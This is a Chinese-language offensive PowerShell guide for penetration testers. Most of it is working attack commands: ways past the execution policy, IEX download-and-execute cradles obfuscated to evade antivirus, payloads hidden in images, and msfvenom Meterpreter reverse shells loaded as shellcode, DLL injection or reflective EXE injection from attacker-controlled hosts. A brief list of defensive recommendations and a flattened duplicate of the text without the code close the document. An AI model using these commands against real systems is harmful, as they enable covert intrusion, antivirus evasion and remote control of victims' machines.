渗透技巧之Powershell实战思路
字数 2019 2025-08-18 11:39:15

PowerShell渗透技巧实战指南

一、PowerShell基础

1.1 PowerShell简介

PowerShell是Windows平台上功能强大的脚本环境,具有以下特点:

  • 类似Linux的bash,但支持.NET框架
  • 可在不写入磁盘的情况下执行命令
  • 能够逃避Anti-Virus检测
  • 广泛应用于渗透测试领域

1.2 基本语法

  • 管道符(|):将一个命令的输出作为另一个命令的输入
  • 分号(;):用于连续执行系统命令
  • 调用操作符(&):执行命令、脚本或函数
  • 引号规则
    • 双引号可以替换内部变量
    • 双引号里的双引号、单引号里的单引号需要写两遍才能输出

1.3 常用命令

命令 功能
Get-Alias -name dir 查看别名
Ls env 查看当前环境变量
Get-ExecutionPolicy 查看当前执行策略
Set-ExecutionPolicy 设置执行策略
Get-Host 查看PowerShell版本
Get-Content test.txt 查看文件内容
Set-Content test.txt -Value "hello,word" 设置文件内容
Get-Process 查看当前服务列表
Get-Location 获取当前位置
Get-WmiObject -Class Win32_ComputerSystem | Select-object -ExpandProperty UserName 查看登录到物理机的用户

二、执行策略与绕过方法

2.1 PowerShell执行策略

PowerShell有六种执行策略:

  1. Unrestricted:权限最高,可不受限制执行任意脚本
  2. Restricted:默认策略,不允许执行任何脚本
  3. AllSigned:所有脚本必须经过签名才能运行
  4. RemoteSigned:本地脚本无限制,网络脚本必须签名
  5. Bypass:没有任何限制和提示
  6. Undefined:没有设置脚本策略

2.2 绕过执行策略的方法

  1. 管道符读取执行

    Get-Content 1.ps1 | powershell -NoProfile -
    
  2. 远程下载并通过IEX运行

    powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a.ps1')"
    
  3. Bypass执行策略

    powershell -ExecutionPolicy bypass -File ./a.ps1
    
  4. Unrestricted执行策略

    powershell -ExecutionPolicy unrestricted -File ./a.ps1
    

2.3 常用参数说明

  • Invoke-Expression(IEX):将字符串作为命令执行
  • -WindowStyle Hidden(-w Hidden):隐藏窗口
  • -NonInteractive(-NonI):非交互模式
  • -NoProfile(-NoP):不加载当前用户配置文件
  • -Noexit(-Noe):执行后不退出Shell
  • -EncodedCommand(-enc):接受base64编码的字符串

三、绕过杀毒软件(AV)的技巧

3.1 基本方法

将绕过执行策略的命令保存为.bat文件:

powershell -ExecutionPolicy bypass -File ./a.ps1

3.2 IEX命令拆分法

$c1='powershell -c IEX'; $c2='(New-Object Net.WebClient).Downlo'; $c3='adString(''http://192.168.197.192/a.ps1'')'; IEX ($c1,$c2,$c3)

3.3 Replace替换函数法

$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://192.168.197.192/a.ps1'')'.Replace('123','adString');IEX ($c1+$c2)

3.4 HTTP字符串分割法

$a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://192.168.197.192/a.ps1''))';IEX ($a+$b)

3.5 其他语言执行

可在C、VBS、HTA、Python等语言中执行PowerShell系统命令,达到bypass效果。

四、高级利用技术

4.1 图片隐写执行PowerShell

使用Invoke-PSImage工具:

  1. 准备一张足够大的图片(如1900*1200)
  2. 执行以下命令:
    Import-Module .\Invoke-PSImage.ps1
    Invoke-PSImage -Script .\a.ps1 -Image .\x.jpg -Out .\reverse_shell.png -Web
    
  3. 将生成的reverse_shell.png放入web目录
  4. 通过PowerShell执行图片中的payload

4.2 加载Shellcode

  1. 生成Shellcode:
    msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.72.164 LPORT=4444 -f powershell -o /var/www/html/test
    
  2. 目标机执行:
    IEX(New-Object Net.WebClient).DownloadString("http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
    IEX(New-Object Net.WebClient).DownloadString("http://192.168.72.164/test")
    Invoke-Shellcode -Shellcode ($buf) -Force
    

4.3 加载DLL

  1. 生成DLL:
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.72.164 lport=4444 -f dll -o /var/www/html/test.dll
    
  2. 目标机执行:
    IEX(New-Object Net.WebClient).DownloadString("http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
    Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
    Invoke-DllInjection -ProcessID [notepad_PID] -Dll c:\test.dll
    

4.4 加载EXE

  1. 生成EXE:
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.197.195 lport=4444 -f exe > /var/www/html/test.exe
    
  2. 目标机执行:
    powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.197.195/test.exe -ForceASLR"
    

五、实用工具与资源

  1. Invoke-Obfuscation:PowerShell编码和混淆框架

    • GitHub: https://github.com/danielbohannon/Invoke-Obfuscation
  2. Invoke-PSImage:通过图片执行PowerShell的工具

    • GitHub: https://github.com/peewpw/Invoke-PSImage
  3. PowerSploit:功能强大的PowerShell渗透测试框架

    • 包含Invoke-Shellcode、Invoke-DllInjection等实用脚本

六、防御建议

  1. 限制PowerShell执行策略
  2. 监控异常PowerShell活动
  3. 禁用不必要的PowerShell功能
  4. 实施脚本签名验证
  5. 保持杀毒软件和EDR解决方案更新
  6. 监控网络流量中的可疑PowerShell命令

通过掌握这些PowerShell渗透技巧,安全测试人员可以更有效地进行渗透测试,同时也提醒防御者加强相关防护措施。

PowerShell渗透技巧实战指南 一、PowerShell基础 1.1 PowerShell简介 PowerShell是Windows平台上功能强大的脚本环境,具有以下特点: 类似Linux的bash,但支持.NET框架 可在不写入磁盘的情况下执行命令 能够逃避Anti-Virus检测 广泛应用于渗透测试领域 1.2 基本语法 管道符(|) :将一个命令的输出作为另一个命令的输入 分号(;) :用于连续执行系统命令 调用操作符(&) :执行命令、脚本或函数 引号规则 : 双引号可以替换内部变量 双引号里的双引号、单引号里的单引号需要写两遍才能输出 1.3 常用命令 | 命令 | 功能 | |------|------| | Get-Alias -name dir | 查看别名 | | Ls env | 查看当前环境变量 | | Get-ExecutionPolicy | 查看当前执行策略 | | Set-ExecutionPolicy | 设置执行策略 | | Get-Host | 查看PowerShell版本 | | Get-Content test.txt | 查看文件内容 | | Set-Content test.txt -Value "hello,word" | 设置文件内容 | | Get-Process | 查看当前服务列表 | | Get-Location | 获取当前位置 | | Get-WmiObject -Class Win32_ComputerSystem \| Select-object -ExpandProperty UserName | 查看登录到物理机的用户 | 二、执行策略与绕过方法 2.1 PowerShell执行策略 PowerShell有六种执行策略: Unrestricted :权限最高,可不受限制执行任意脚本 Restricted :默认策略,不允许执行任何脚本 AllSigned :所有脚本必须经过签名才能运行 RemoteSigned :本地脚本无限制,网络脚本必须签名 Bypass :没有任何限制和提示 Undefined :没有设置脚本策略 2.2 绕过执行策略的方法 管道符读取执行 远程下载并通过IEX运行 Bypass执行策略 Unrestricted执行策略 2.3 常用参数说明 Invoke-Expression (IEX):将字符串作为命令执行 -WindowStyle Hidden (-w Hidden):隐藏窗口 -NonInteractive (-NonI):非交互模式 -NoProfile (-NoP):不加载当前用户配置文件 -Noexit (-Noe):执行后不退出Shell -EncodedCommand (-enc):接受base64编码的字符串 三、绕过杀毒软件(AV)的技巧 3.1 基本方法 将绕过执行策略的命令保存为.bat文件: 3.2 IEX命令拆分法 3.3 Replace替换函数法 3.4 HTTP字符串分割法 3.5 其他语言执行 可在C、VBS、HTA、Python等语言中执行PowerShell系统命令,达到bypass效果。 四、高级利用技术 4.1 图片隐写执行PowerShell 使用Invoke-PSImage工具: 准备一张足够大的图片(如1900* 1200) 执行以下命令: 将生成的reverse_ shell.png放入web目录 通过PowerShell执行图片中的payload 4.2 加载Shellcode 生成Shellcode: 目标机执行: 4.3 加载DLL 生成DLL: 目标机执行: 4.4 加载EXE 生成EXE: 目标机执行: 五、实用工具与资源 Invoke-Obfuscation :PowerShell编码和混淆框架 GitHub: https://github.com/danielbohannon/Invoke-Obfuscation Invoke-PSImage :通过图片执行PowerShell的工具 GitHub: https://github.com/peewpw/Invoke-PSImage PowerSploit :功能强大的PowerShell渗透测试框架 包含Invoke-Shellcode、Invoke-DllInjection等实用脚本 六、防御建议 限制PowerShell执行策略 监控异常PowerShell活动 禁用不必要的PowerShell功能 实施脚本签名验证 保持杀毒软件和EDR解决方案更新 监控网络流量中的可疑PowerShell命令 通过掌握这些PowerShell渗透技巧,安全测试人员可以更有效地进行渗透测试,同时也提醒防御者加强相关防护措施。